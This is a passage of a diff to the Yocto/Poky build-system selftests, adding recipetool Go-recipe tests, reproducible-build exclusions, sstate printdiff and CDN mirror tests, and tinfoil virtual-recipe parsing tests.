+ checkvars['SRC_URI[md5sum]'] = '4d6667ce76f820c35082c2d60a4896ab'
+ checkvars['SRC_URI[sha1sum]'] = '9173714cb88964d07f3a3f4fcaaef638b8ceac0c'
+ checkvars['SRC_URI[sha256sum]'] = 'ec84cc37cfa703ef7cd4928db24f9cb31428a5d0fa77747b8b51a847458e0bbf'
+ checkvars['SRC_URI[sha384sum]'] = '7a53181f0e679aa3dc3eb4d05a420877b7b9bff2d02e81f5c289a37ed1127d6c0cca1f5a5f9e4e166f089ab36bcc2be9'
+ checkvars['SRC_URI[sha512sum]'] = '60fa769faf6e3fc2c14eb9acd189c86e9d366b157230a5681d36552af0c159cb1ad33fd920668a36afdab98bc97253f91501704c5c07b5009fdaf9d29b52060d'
+ inherits = ['python_hatchling']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
def test_recipetool_create_github_tarball(self):
# Basic test to ensure github URL mangling doesn't apply to release tarballs
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
pv = '0.32.0'
- recipefile = os.path.join(temprecipe, 'meson_%s.bb' % pv)
+ recipefile = os.path.join(temprecipe, 'python3-meson_%s.bb' % pv)
srcuri = 'https://github.com/mesonbuild/meson/releases/download/%s/meson-%s.tar.gz' % (pv, pv)
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
@@ -532,6 +669,191 @@ class RecipetoolTests(RecipetoolBase):
libpath = os.path.join(get_bb_var('COREBASE'), 'scripts', 'lib', 'recipetool')
sys.path.insert(0, libpath)
+ def test_recipetool_create_go(self):
+ # Basic test to check go recipe generation
+ def urifiy(url, version, modulepath = None, pathmajor = None, subdir = None):
+ modulepath = ",path='%s'" % modulepath if len(modulepath) else ''
+ pathmajor = ",pathmajor='%s'" % pathmajor if len(pathmajor) else ''
+ subdir = ",subdir='%s'" % subdir if len(subdir) else ''
+ return "${@go_src_uri('%s','%s'%s%s%s)}" % (url, version, modulepath, pathmajor, subdir)
+
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+
+ recipefile = os.path.join(temprecipe, 'edgex-go_git.bb')
+ deps_require_file = os.path.join(temprecipe, 'edgex-go', 'edgex-go-modules.inc')
+ lics_require_file = os.path.join(temprecipe, 'edgex-go', 'edgex-go-licenses.inc')
+ modules_txt_file = os.path.join(temprecipe, 'edgex-go', 'modules.txt')
+
+ srcuri = 'https://github.com/edgexfoundry/edgex-go.git'
+ srcrev = "v3.0.0"
+ srcbranch = "main"
+
+ result = runCmd('recipetool create -o %s %s -S %s -B %s' % (temprecipe, srcuri, srcrev, srcbranch))
+
+ self.maxDiff = None
+ inherits = ['go-vendor']
+
+ checkvars = {}
+ checkvars['GO_IMPORT'] = "github.com/edgexfoundry/edgex-go"
+ checkvars['SRC_URI'] = {'git://${GO_IMPORT};destsuffix=git/src/${GO_IMPORT};nobranch=1;name=${BPN};protocol=https',
+ 'file://modules.txt'}
+ checkvars['LIC_FILES_CHKSUM'] = {'file://src/${GO_IMPORT}/LICENSE;md5=8f8bc924cf73f6a32381e5fd4c58d603'}
+
+ self.assertTrue(os.path.isfile(recipefile))
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ checkvars = {}
+ checkvars['VENDORED_LIC_FILES_CHKSUM'] = set(
+ ['file://src/${GO_IMPORT}/vendor/github.com/Microsoft/go-winio/LICENSE;md5=69205ff73858f2c22b2ca135b557e8ef',
+ 'file://src/${GO_IMPORT}/vendor/github.com/armon/go-metrics/LICENSE;md5=d2d77030c0183e3d1e66d26dc1f243be',
+ 'file://src/${GO_IMPORT}/vendor/github.com/cenkalti/backoff/LICENSE;md5=1571d94433e3f3aa05267efd4dbea68b',
+ 'file://src/${GO_IMPORT}/vendor/github.com/davecgh/go-spew/LICENSE;md5=c06795ed54b2a35ebeeb543cd3a73e56',
+ 'file://src/${GO_IMPORT}/vendor/github.com/eclipse/paho.mqtt.golang/LICENSE;md5=dcdb33474b60c38efd27356d8f2edec7',
+ 'file://src/${GO_IMPORT}/vendor/github.com/eclipse/paho.mqtt.golang/edl-v10;md5=3adfcc70f5aeb7a44f3f9b495aa1fbf3',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-bootstrap/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-configuration/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-core-contracts/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-messaging/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-registry/v3/LICENSE;md5=0d6dae39976133b2851fba4c1e1275ff',
+ 'file://src/${GO_IMPORT}/vendor/github.com/edgexfoundry/go-mod-secrets/v3/LICENSE;md5=f9fa2f4f8e0ef8cc7b5dd150963eb457',
+ 'file://src/${GO_IMPORT}/vendor/github.com/fatih/color/LICENSE.md;md5=316e6d590bdcde7993fb175662c0dd5a',
+ 'file://src/${GO_IMPORT}/vendor/github.com/fxamacker/cbor/v2/LICENSE;md5=827f5a2fa861382d35a3943adf9ebb86',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-jose/go-jose/v3/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-jose/go-jose/v3/json/LICENSE;md5=591778525c869cdde0ab5a1bf283cd81',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-kit/log/LICENSE;md5=5b7c15ad5fffe2ff6e9d58a6c161f082',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-logfmt/logfmt/LICENSE;md5=98e39517c38127f969de33057067091e',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/locales/LICENSE;md5=3ccbda375ee345400ad1da85ba522301',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/universal-translator/LICENSE;md5=2e2b21ef8f61057977d27c727c84bef1',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-playground/validator/v10/LICENSE;md5=a718a0f318d76f7c5d510cbae84f0b60',
+ 'file://src/${GO_IMPORT}/vendor/github.com/go-redis/redis/v7/LICENSE;md5=58103aa5ea1ee9b7a369c9c4a95ef9b5',
+ 'file://src/${GO_IMPORT}/vendor/github.com/golang/protobuf/LICENSE;md5=939cce1ec101726fa754e698ac871622',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gomodule/redigo/LICENSE;md5=2ee41112a44fe7014dce33e26468ba93',
+ 'file://src/${GO_IMPORT}/vendor/github.com/google/uuid/LICENSE;md5=88073b6dd8ec00fe09da59e0b6dfded1',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gorilla/mux/LICENSE;md5=33fa1116c45f9e8de714033f99edde13',
+ 'file://src/${GO_IMPORT}/vendor/github.com/gorilla/websocket/LICENSE;md5=c007b54a1743d596f46b2748d9f8c044',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/consul/api/LICENSE;md5=b8a277a612171b7526e9be072f405ef4',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/errwrap/LICENSE;md5=b278a92d2c1509760384428817710378',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-cleanhttp/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-hclog/LICENSE;md5=ec7f605b74b9ad03347d0a93a5cc7eb8',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-immutable-radix/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-multierror/LICENSE;md5=d44fdeb607e2d2614db9464dbedd4094',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/go-rootcerts/LICENSE;md5=65d26fcc2f35ea6a181ac777e42db1ea',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/golang-lru/LICENSE;md5=f27a50d2e878867827842f2c60e30bfc',
+ 'file://src/${GO_IMPORT}/vendor/github.com/hashicorp/serf/LICENSE;md5=b278a92d2c1509760384428817710378',
+ 'file://src/${GO_IMPORT}/vendor/github.com/leodido/go-urn/LICENSE;md5=8f50db5538ec1148a9b3d14ed96c3418',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mattn/go-colorable/LICENSE;md5=24ce168f90aec2456a73de1839037245',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mattn/go-isatty/LICENSE;md5=f509beadd5a11227c27b5d2ad6c9f2c6',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/consulstructure/LICENSE;md5=96ada10a9e51c98c4656f2cede08c673',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/copystructure/LICENSE;md5=56da355a12d4821cda57b8f23ec34bc4',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/go-homedir/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/mapstructure/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/mitchellh/reflectwalk/LICENSE;md5=3f7765c3d4f58e1f84c4313cecf0f5bd',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nats.go/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nkeys/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/nats-io/nuid/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/pmezard/go-difflib/LICENSE;md5=e9a2ebb8de779a07500ddecca806145e',
+ 'file://src/${GO_IMPORT}/vendor/github.com/rcrowley/go-metrics/LICENSE;md5=1bdf5d819f50f141366dabce3be1460f',
+ 'file://src/${GO_IMPORT}/vendor/github.com/spiffe/go-spiffe/v2/LICENSE;md5=86d3f3a95c324c9479bd8986968f4327',
+ 'file://src/${GO_IMPORT}/vendor/github.com/stretchr/objx/LICENSE;md5=d023fd31d3ca39ec61eec65a91732735',
+ 'file://src/${GO_IMPORT}/vendor/github.com/stretchr/testify/LICENSE;md5=188f01994659f3c0d310612333d2a26f',
+ 'file://src/${GO_IMPORT}/vendor/github.com/x448/float16/LICENSE;md5=de8f8e025d57fe7ee0b67f30d571323b',
+ 'file://src/${GO_IMPORT}/vendor/github.com/zeebo/errs/LICENSE;md5=84914ab36fc0eb48edbaa53e66e8d326',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/crypto/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/mod/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/net/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/sync/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/sys/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/text/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/golang.org/x/tools/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/genproto/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/grpc/LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57',
+ 'file://src/${GO_IMPORT}/vendor/google.golang.org/protobuf/LICENSE;md5=02d4002e9171d41a8fad93aa7faf3956',
+ 'file://src/${GO_IMPORT}/vendor/gopkg.in/eapache/queue.v1/LICENSE;md5=1bfd4408d3de090ef6b908b0cc45a316',
+ 'file://src/${GO_IMPORT}/vendor/gopkg.in/yaml.v3/LICENSE;md5=3c91c17266710e16afdbb2b6d15c761c'])
+
+ self.assertTrue(os.path.isfile(lics_require_file))
+ self._test_recipe_contents(lics_require_file, checkvars, [])
+
+ dependencies = \
+ [ ('github.com/eclipse/paho.mqtt.golang','v1.4.2', '', '', ''),
+ ('github.com/edgexfoundry/go-mod-bootstrap','v3.0.1','github.com/edgexfoundry/go-mod-bootstrap/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-configuration','v3.0.0','github.com/edgexfoundry/go-mod-configuration/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-core-contracts','v3.0.0','github.com/edgexfoundry/go-mod-core-contracts/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-messaging','v3.0.0','github.com/edgexfoundry/go-mod-messaging/v3','/v3', ''),
+ ('github.com/edgexfoundry/go-mod-secrets','v3.0.1','github.com/edgexfoundry/go-mod-secrets/v3','/v3', ''),
+ ('github.com/fxamacker/cbor','v2.4.0','github.com/fxamacker/cbor/v2','/v2', ''),
+ ('github.com/gomodule/redigo','v1.8.9', '', '', ''),
+ ('github.com/google/uuid','v1.3.0', '', '', ''),
+ ('github.com/gorilla/mux','v1.8.0', '', '', ''),
+ ('github.com/rcrowley/go-metrics','v0.0.0-20201227073835-cf1acfcdf475', '', '', ''),
+ ('github.com/spiffe/go-spiffe','v2.1.4','github.com/spiffe/go-spiffe/v2','/v2', ''),
+ ('github.com/stretchr/testify','v1.8.2', '', '', ''),
+ ('go.googlesource.com/crypto','v0.8.0','golang.org/x/crypto', '', ''),
+ ('gopkg.in/eapache/queue.v1','v1.1.0', '', '', ''),
+ ('gopkg.in/yaml.v3','v3.0.1', '', '', ''),
+ ('github.com/microsoft/go-winio','v0.6.0','github.com/Microsoft/go-winio', '', ''),
+ ('github.com/hashicorp/go-metrics','v0.3.10','github.com/armon/go-metrics', '', ''),
+ ('github.com/cenkalti/backoff','v2.2.1+incompatible', '', '', ''),
+ ('github.com/davecgh/go-spew','v1.1.1', '', '', ''),
+ ('github.com/edgexfoundry/go-mod-registry','v3.0.0','github.com/edgexfoundry/go-mod-registry/v3','/v3', ''),
+ ('github.com/fatih/color','v1.9.0', '', '', ''),
+ ('github.com/go-jose/go-jose','v3.0.0','github.com/go-jose/go-jose/v3','/v3', ''),
+ ('github.com/go-kit/log','v0.2.1', '', '', ''),
+ ('github.com/go-logfmt/logfmt','v0.5.1', '', '', ''),
+ ('github.com/go-playground/locales','v0.14.1', '', '', ''),
+ ('github.com/go-playground/universal-translator','v0.18.1', '', '', ''),
+ ('github.com/go-playground/validator','v10.13.0','github.com/go-playground/validator/v10','/v10', ''),
+ ('github.com/go-redis/redis','v7.3.0','github.com/go-redis/redis/v7','/v7', ''),
+ ('github.com/golang/protobuf','v1.5.2', '', '', ''),
+ ('github.com/gorilla/websocket','v1.4.2', '', '', ''),
+ ('github.com/hashicorp/consul','v1.20.0','github.com/hashicorp/consul/api', '', 'api'),
+ ('github.com/hashicorp/errwrap','v1.0.0', '', '', ''),
+ ('github.com/hashicorp/go-cleanhttp','v0.5.1', '', '', ''),
+ ('github.com/hashicorp/go-hclog','v0.14.1', '', '', ''),
+ ('github.com/hashicorp/go-immutable-radix','v1.3.0', '', '', ''),
+ ('github.com/hashicorp/go-multierror','v1.1.1', '', '', ''),
+ ('github.com/hashicorp/go-rootcerts','v1.0.2', '', '', ''),
+ ('github.com/hashicorp/golang-lru','v0.5.4', '', '', ''),
+ ('github.com/hashicorp/serf','v0.10.1', '', '', ''),
+ ('github.com/leodido/go-urn','v1.2.3', '', '', ''),
+ ('github.com/mattn/go-colorable','v0.1.12', '', '', ''),
+ ('github.com/mattn/go-isatty','v0.0.14', '', '', ''),
+ ('github.com/mitchellh/consulstructure','v0.0.0-20190329231841-56fdc4d2da54', '', '', ''),
+ ('github.com/mitchellh/copystructure','v1.2.0', '', '', ''),
+ ('github.com/mitchellh/go-homedir','v1.1.0', '', '', ''),
+ ('github.com/mitchellh/mapstructure','v1.5.0', '', '', ''),
+ ('github.com/mitchellh/reflectwalk','v1.0.2', '', '', ''),
+ ('github.com/nats-io/nats.go','v1.25.0', '', '', ''),
+ ('github.com/nats-io/nkeys','v0.4.4', '', '', ''),
+ ('github.com/nats-io/nuid','v1.0.1', '', '', ''),
+ ('github.com/pmezard/go-difflib','v1.0.0', '', '', ''),
+ ('github.com/stretchr/objx','v0.5.0', '', '', ''),
+ ('github.com/x448/float16','v0.8.4', '', '', ''),
+ ('github.com/zeebo/errs','v1.3.0', '', '', ''),
+ ('go.googlesource.com/mod','v0.8.0','golang.org/x/mod', '', ''),
+ ('go.googlesource.com/net','v0.9.0','golang.org/x/net', '', ''),
+ ('go.googlesource.com/sync','v0.1.0','golang.org/x/sync', '', ''),
+ ('go.googlesource.com/sys','v0.7.0','golang.org/x/sys', '', ''),
+ ('go.googlesource.com/text','v0.9.0','golang.org/x/text', '', ''),
+ ('go.googlesource.com/tools','v0.6.0','golang.org/x/tools', '', ''),
+ ('github.com/googleapis/go-genproto','v0.0.0-20230223222841-637eb2293923','google.golang.org/genproto', '', ''),
+ ('github.com/grpc/grpc-go','v1.53.0','google.golang.org/grpc', '', ''),
+ ('go.googlesource.com/protobuf','v1.28.1','google.golang.org/protobuf', '', ''),
+ ]
+
+ src_uri = set()
+ for d in dependencies:
+ src_uri.add(urifiy(*d))
+
+ checkvars = {}
+ checkvars['GO_DEPENDENCIES_SRC_URI'] = src_uri
+
+ self.assertTrue(os.path.isfile(deps_require_file))
+ self._test_recipe_contents(deps_require_file, checkvars, [])
+
+
+
def _copy_file_with_cleanup(self, srcfile, basedstdir, *paths):
dstdir = basedstdir
self.assertTrue(os.path.exists(dstdir))
diff --git a/poky/meta/lib/oeqa/selftest/cases/reproducible.py b/poky/meta/lib/oeqa/selftest/cases/reproducible.py
index 9b4a0887dd..029b6af331 100644
--- a/poky/meta/lib/oeqa/selftest/cases/reproducible.py
+++ b/poky/meta/lib/oeqa/selftest/cases/reproducible.py
@@ -16,6 +16,8 @@ import os
import datetime
exclude_packages = [
+ 'rust',
+ 'rust-dbg'
]
def is_excluded(package):
@@ -43,13 +45,14 @@ class CompareResult(object):
return (self.status, self.test) < (other.status, other.test)
class PackageCompareResults(object):
- def __init__(self):
+ def __init__(self, exclusions):
self.total = []
self.missing = []
self.different = []
self.different_excluded = []
self.same = []
self.active_exclusions = set()
+ exclude_packages.extend((exclusions or "").split())
def add_result(self, r):
self.total.append(r)
@@ -151,7 +154,16 @@ class ReproducibleTests(OESelftestTestCase):
def setUpLocal(self):
super().setUpLocal()
- needed_vars = ['TOPDIR', 'TARGET_PREFIX', 'BB_NUMBER_THREADS', 'BB_HASHSERVE', 'OEQA_REPRODUCIBLE_TEST_PACKAGE', 'OEQA_REPRODUCIBLE_TEST_TARGET', 'OEQA_REPRODUCIBLE_TEST_SSTATE_TARGETS']
+ needed_vars = [
+ 'TOPDIR',
+ 'TARGET_PREFIX',
+ 'BB_NUMBER_THREADS',
+ 'BB_HASHSERVE',
+ 'OEQA_REPRODUCIBLE_TEST_PACKAGE',
+ 'OEQA_REPRODUCIBLE_TEST_TARGET',
+ 'OEQA_REPRODUCIBLE_TEST_SSTATE_TARGETS',
+ 'OEQA_REPRODUCIBLE_EXCLUDED_PACKAGES',
+ ]
bb_vars = get_bb_vars(needed_vars)
for v in needed_vars:
setattr(self, v.lower(), bb_vars[v])
@@ -173,7 +185,7 @@ class ReproducibleTests(OESelftestTestCase):
self.extraresults['reproducible.rawlogs']['log'] += msg
def compare_packages(self, reference_dir, test_dir, diffutils_sysroot):
- result = PackageCompareResults()
+ result = PackageCompareResults(self.oeqa_reproducible_excluded_packages)
old_cwd = os.getcwd()
try:
diff --git a/poky/meta/lib/oeqa/selftest/cases/signing.py b/poky/meta/lib/oeqa/selftest/cases/signing.py
index 322e753ed3..18cce0ba25 100644
--- a/poky/meta/lib/oeqa/selftest/cases/signing.py
+++ b/poky/meta/lib/oeqa/selftest/cases/signing.py
@@ -191,7 +191,7 @@ class LockedSignatures(OESelftestTestCase):
bitbake(test_recipe)
# Generate locked sigs include file
- bitbake('-S none %s' % test_recipe)
+ bitbake('-S lockedsigs %s' % test_recipe)
feature = 'require %s\n' % locked_sigs_file
feature += 'SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "warn"\n'
diff --git a/poky/meta/lib/oeqa/selftest/cases/sstatetests.py b/poky/meta/lib/oeqa/selftest/cases/sstatetests.py
index bdad9088d3..7c2b14e95f 100644
--- a/poky/meta/lib/oeqa/selftest/cases/sstatetests.py
+++ b/poky/meta/lib/oeqa/selftest/cases/sstatetests.py
@@ -14,6 +14,7 @@ import re
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, create_temp_layer, get_bb_vars
from oeqa.selftest.case import OESelftestTestCase
+from oeqa.core.decorator import OETestTag
import oe
import bb.siggen
@@ -773,3 +774,159 @@ addtask tmptask2 before do_tmptask1
latestfiles = sorted(filedates.keys(), key=lambda f: filedates[f])[-2:]
bb.siggen.compare_sigfiles(latestfiles[-2], latestfiles[-1], recursecb)
self.assertEqual(recursecb_count,1)
+
+class SStatePrintdiff(SStateBase):
+ def run_test_printdiff_changerecipe(self, target, change_recipe, change_bbtask, change_content, expected_sametmp_output, expected_difftmp_output):
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstateprintdiff"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstateprintdiff")
+ # Use runall do_build to ensure any indirect sstate is created, e.g. tzcode-native on both x86 and
+ # aarch64 hosts since only allarch target recipes depend upon it and it may not be built otherwise.
+ # A bitbake -c cleansstate tzcode-native would cause some of these tests to error for example.
+ bitbake("--runall build --runall deploy_source_date_epoch {}".format(target))
+ bitbake("-S none {}".format(target))
+ bitbake(change_bbtask)
+ self.write_recipeinc(change_recipe, change_content)
+ result_sametmp = bitbake("-S printdiff {}".format(target))
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstateprintdiff-2"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstateprintdiff-2")
+ result_difftmp = bitbake("-S printdiff {}".format(target))
+
+ self.delete_recipeinc(change_recipe)
+ for item in expected_sametmp_output:
+ self.assertIn(item, result_sametmp.output)
+ for item in expected_difftmp_output:
+ self.assertIn(item, result_difftmp.output)
+
+ def run_test_printdiff_changeconfig(self, target, change_content, expected_sametmp_output, expected_difftmp_output):
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstateprintdiff"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstateprintdiff")
+ bitbake("--runall build --runall deploy_source_date_epoch {}".format(target))
+ bitbake("-S none {}".format(target))
+ self.append_config(change_content)
+ result_sametmp = bitbake("-S printdiff {}".format(target))
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstateprintdiff-2"
+""")
+ self.append_config(change_content)
+ self.track_for_cleanup(self.topdir + "/tmp-sstateprintdiff-2")
+ result_difftmp = bitbake("-S printdiff {}".format(target))
+
+ for item in expected_sametmp_output:
+ self.assertIn(item, result_sametmp.output)
+ for item in expected_difftmp_output:
+ self.assertIn(item, result_difftmp.output)
+
+
+ # Check if printdiff walks the full dependency chain from the image target to where the change is in a specific recipe
+ def test_image_minimal_vs_quilt(self):
+ expected_output = ("Task quilt-native:do_install couldn't be used from the cache because:",
+"We need hash",
+"most recent matching task was")
+ expected_sametmp_output = expected_output + ("Variable do_install value changed",'+ echo "this changes the task signature"')
+ expected_difftmp_output = expected_output
+
+ self.run_test_printdiff_changerecipe("core-image-minimal", "quilt-native", "-c do_install quilt-native",
+"""
+do_install:append() {
+ echo "this changes the task signature"
+}
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+ # Check if changes to gcc-source (which uses tmp/work-shared) are correctly discovered
+ def test_gcc_runtime_vs_gcc_source(self):
+ gcc_source_pn = 'gcc-source-%s' % get_bb_vars(['PV'], 'gcc')['PV']
+
+ expected_output = ("Task {}:do_preconfigure couldn't be used from the cache because:".format(gcc_source_pn),
+"We need hash",
+"most recent matching task was")
+ expected_sametmp_output = expected_output + ("Variable do_preconfigure value changed",'+ print("this changes the task signature")')
+ #FIXME: printdiff is supposed to find at least one preconfigure task signature in the sstate cache, but isn't able to
+ #expected_difftmp_output = expected_output
+ expected_difftmp_output = ()
+
+ self.run_test_printdiff_changerecipe("gcc-runtime", "gcc-source", "-c do_preconfigure {}".format(gcc_source_pn),
+"""
+python do_preconfigure:append() {
+ print("this changes the task signature")
+}
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+ # Check if changing a really base task definiton is reported against multiple core recipes using it
+ def test_image_minimal_vs_base_do_configure(self):
+ expected_output = ("Task zstd-native:do_configure couldn't be used from the cache because:",
+"Task texinfo-dummy-native:do_configure couldn't be used from the cache because:",
+"Task ldconfig-native:do_configure couldn't be used from the cache because:",
+"Task gettext-minimal-native:do_configure couldn't be used from the cache because:",
+"Task tzcode-native:do_configure couldn't be used from the cache because:",
+"Task makedevs-native:do_configure couldn't be used from the cache because:",
+"Task pigz-native:do_configure couldn't be used from the cache because:",
+"Task update-rc.d-native:do_configure couldn't be used from the cache because:",
+"Task unzip-native:do_configure couldn't be used from the cache because:",
+"Task gnu-config-native:do_configure couldn't be used from the cache because:",
+"We need hash",
+"most recent matching task was")
+ expected_sametmp_output = expected_output + ("Variable base_do_configure value changed",'+ echo "this changes base_do_configure() definiton "')
+ expected_difftmp_output = expected_output
+
+ self.run_test_printdiff_changeconfig("core-image-minimal",
+"""
+INHERIT += "base-do-configure-modified"
+""",
+expected_sametmp_output, expected_difftmp_output)
+
+@OETestTag("yocto-mirrors")
+class SStateMirrors(SStateBase):
+ def check_bb_output(self, output, exceptions):
+ in_tasks = False
+ missing_objects = []
+ checked_urls = []
+ for l in output.splitlines():
+ if "Testing URL" in l:
+ checked_urls.append(l.split()[3])
+ if "The differences between the current build and any cached tasks start at the following tasks" in l:
+ in_tasks = True
+ continue
+ if "Writing task signature files" in l:
+ in_tasks = False
+ continue
+ if in_tasks:
+ recipe_task = l.split("/")[-1]
+ recipe, task = recipe_task.split(":")
+ for e in exceptions:
+ if e[0] in recipe and task == e[1]:
+ break
+ else:
+ missing_objects.append(recipe_task)
+ self.assertTrue(len(missing_objects) == 0, "URLs checked:\n{}\nMissing objects in the cache:\n{}".format("\n".join(checked_urls), "\n".join(missing_objects)))
+
+ def run_test_cdn_mirror(self, machine, targets, exceptions):
+ exceptions = exceptions + [[t, "do_deploy_source_date_epoch"] for t in targets.split()]
+ exceptions = exceptions + [[t, "do_image_qa"] for t in targets.split()]
+ self.config_sstate(True)
+ self.append_config("""
+MACHINE = "{}"
+BB_HASHSERVE_UPSTREAM = "hashserv.yocto.io:8687"
+SSTATE_MIRRORS ?= "file://.* http://cdn.jsdelivr.net/yocto/sstate/all/PATH;downloadfilename=PATH"
+""".format(machine))
+ result = bitbake("-D -S printdiff {}".format(targets))
+ self.check_bb_output(result.output, exceptions)
+
+ def test_cdn_mirror_qemux86_64(self):
+ # Example:
+ # exceptions = [ ["packagegroup-core-sdk","do_package"] ]
+ exceptions = []
+ self.run_test_cdn_mirror("qemux86-64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions)
+
+ def test_cdn_mirror_qemuarm64(self):
+ exceptions = []
+ self.run_test_cdn_mirror("qemuarm64", "core-image-minimal core-image-full-cmdline core-image-sato-sdk", exceptions)
diff --git a/poky/meta/lib/oeqa/selftest/cases/tinfoil.py b/poky/meta/lib/oeqa/selftest/cases/tinfoil.py
index dd13c20402..21c8686b2a 100644
--- a/poky/meta/lib/oeqa/selftest/cases/tinfoil.py
+++ b/poky/meta/lib/oeqa/selftest/cases/tinfoil.py
@@ -48,6 +48,17 @@ class TinfoilTests(OESelftestTestCase):
rd = tinfoil.parse_recipe_file(best[3])
self.assertEqual(testrecipe, rd.getVar('PN'))
+ def test_parse_virtual_recipe(self):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
+ testrecipe = 'nativesdk-gcc'
+ best = tinfoil.find_best_provider(testrecipe)
+ if not best:
+ self.fail('Unable to find recipe providing %s' % testrecipe)
+ rd = tinfoil.parse_recipe_file(best[3])
+ self.assertEqual(testrecipe, rd.getVar('PN'))
+ self.assertIsNotNone(rd.getVar('FILE_LAYERNAME'))
+
def test_parse_recipe_copy_expand(self):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=False, quiet=2)
@@ -66,7 +77,7 @@ class TinfoilTests(OESelftestTestCase):
localdata.setVar('PN', 'hello')
self.assertEqual('hello', localdata.getVar('BPN'))
- # The config_data API tp parse_recipe_file is used by:
+ # The config_data API to parse_recipe_file is used by:
# layerindex-web layerindex/update_layer.py
def test_parse_recipe_custom_data(self):
with bb.tinfoil.Tinfoil() as tinfoil:
@@ -80,6 +91,18 @@ class TinfoilTests(OESelftestTestCase):
rd = tinfoil.parse_recipe_file(best[3], config_data=localdata)
self.assertEqual("testval", rd.getVar('TESTVAR'))
+ def test_parse_virtual_recipe_custom_data(self):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
